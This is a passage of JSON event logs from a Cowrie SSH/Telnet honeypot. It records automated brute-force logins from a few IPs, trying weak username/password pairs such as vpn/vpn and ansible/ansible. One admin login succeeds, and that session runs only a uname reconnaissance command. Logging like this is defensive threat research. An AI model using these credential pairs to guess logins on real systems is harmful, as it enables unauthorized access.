{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:32.964940Z","src_ip":"8.218.166.49","session":"0344e266dca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:33.120039Z","src_ip":"47.86.95.62","session":"335556df24ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:34.447968Z","src_ip":"47.86.95.62","session":"335556df24ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49602,"dst_ip":"10.17.0.5","dst_port":22,"session":"2454df26328e","protocol":"ssh","message":"New connection: 47.86.95.62:49602 (10.17.0.5:22) [session: 2454df26328e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:38.069954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:38.074805Z","src_ip":"47.86.95.62","session":"2454df26328e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:38.285768Z","src_ip":"47.86.95.62","session":"2454df26328e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:38.897043Z","src_ip":"47.86.95.62","session":"2454df26328e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:40.106458Z","src_ip":"47.86.95.62","session":"2454df26328e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60234,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcab288e7ec5","protocol":"ssh","message":"New connection: 8.218.166.49:60234 (10.17.0.5:22) [session: dcab288e7ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:40.877461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:40.882730Z","src_ip":"8.218.166.49","session":"dcab288e7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":60140,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd736e584276","protocol":"ssh","message":"New connection: 47.86.95.62:60140 (10.17.0.5:22) [session: cd736e584276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:42.760340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:42.764384Z","src_ip":"47.86.95.62","session":"cd736e584276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:42.970738Z","src_ip":"47.86.95.62","session":"cd736e584276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:43.600522Z","src_ip":"47.86.95.62","session":"cd736e584276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:44.602556Z","src_ip":"8.218.166.49","session":"0344e266dca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:45.830973Z","src_ip":"8.218.166.49","session":"0344e266dca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33896,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7d331da8352","protocol":"ssh","message":"New connection: 8.218.166.49:33896 (10.17.0.5:22) [session: c7d331da8352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:48.378306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:48.383777Z","src_ip":"8.218.166.49","session":"c7d331da8352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a473c5e455db","protocol":"ssh","message":"New connection: 8.218.166.49:42870 (10.17.0.5:22) [session: a473c5e455db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:57.844351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:57.849283Z","src_ip":"8.218.166.49","session":"a473c5e455db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:02.699937Z","src_ip":"8.218.166.49","session":"a473c5e455db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.6","message":"Connection lost after 21.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:04.335494Z","src_ip":"47.86.95.62","session":"cd736e584276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41002,"dst_ip":"10.17.0.5","dst_port":22,"session":"b96fb3809caa","protocol":"ssh","message":"New connection: 47.86.95.62:41002 (10.17.0.5:22) [session: b96fb3809caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:21.264649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:21.269119Z","src_ip":"47.86.95.62","session":"b96fb3809caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:21.477966Z","src_ip":"47.86.95.62","session":"b96fb3809caa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:22.606331Z","src_ip":"47.86.95.62","session":"b96fb3809caa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:25.385790Z","src_ip":"47.86.95.62","session":"b96fb3809caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:28.487344Z","src_ip":"8.218.166.49","session":"c7d331da8352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41012,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f178b71b33","protocol":"ssh","message":"New connection: 47.86.95.62:41012 (10.17.0.5:22) [session: 13f178b71b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:30.214400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:30.340761Z","src_ip":"47.86.95.62","session":"13f178b71b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:30.428813Z","src_ip":"47.86.95.62","session":"13f178b71b33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:31.269761Z","src_ip":"47.86.95.62","session":"13f178b71b33","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:31.739285Z","src_ip":"47.86.95.62","session":"13f178b71b33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:31.741712Z","src_ip":"47.86.95.62","session":"13f178b71b33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:31.957906Z","src_ip":"47.86.95.62","session":"13f178b71b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:32.418589Z","src_ip":"47.86.95.62","session":"13f178b71b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00123357772827,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:33.068061Z","src_ip":"64.251.157.32","session":"c50a60fb617b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.251.157.32","src_port":59893,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f61e986bb0","protocol":"telnet","message":"New connection: 64.251.157.32:59893 (10.17.0.5:23) [session: 36f61e986bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:34.340042Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33210,"dst_ip":"10.17.0.5","dst_port":22,"session":"8156af25eed0","protocol":"ssh","message":"New connection: 47.86.95.62:33210 (10.17.0.5:22) [session: 8156af25eed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:35.187557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:35.200366Z","src_ip":"47.86.95.62","session":"8156af25eed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:35.409529Z","src_ip":"47.86.95.62","session":"8156af25eed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:36.307369Z","src_ip":"47.86.95.62","session":"8156af25eed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.217","src_port":55242,"dst_ip":"10.17.0.5","dst_port":23,"session":"05cf48bc82b1","protocol":"telnet","message":"New connection: 198.235.24.217:55242 (10.17.0.5:23) [session: 05cf48bc82b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:48.064125Z"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:56.944259Z","src_ip":"47.86.95.62","session":"8156af25eed0","protocol":"ssh"}
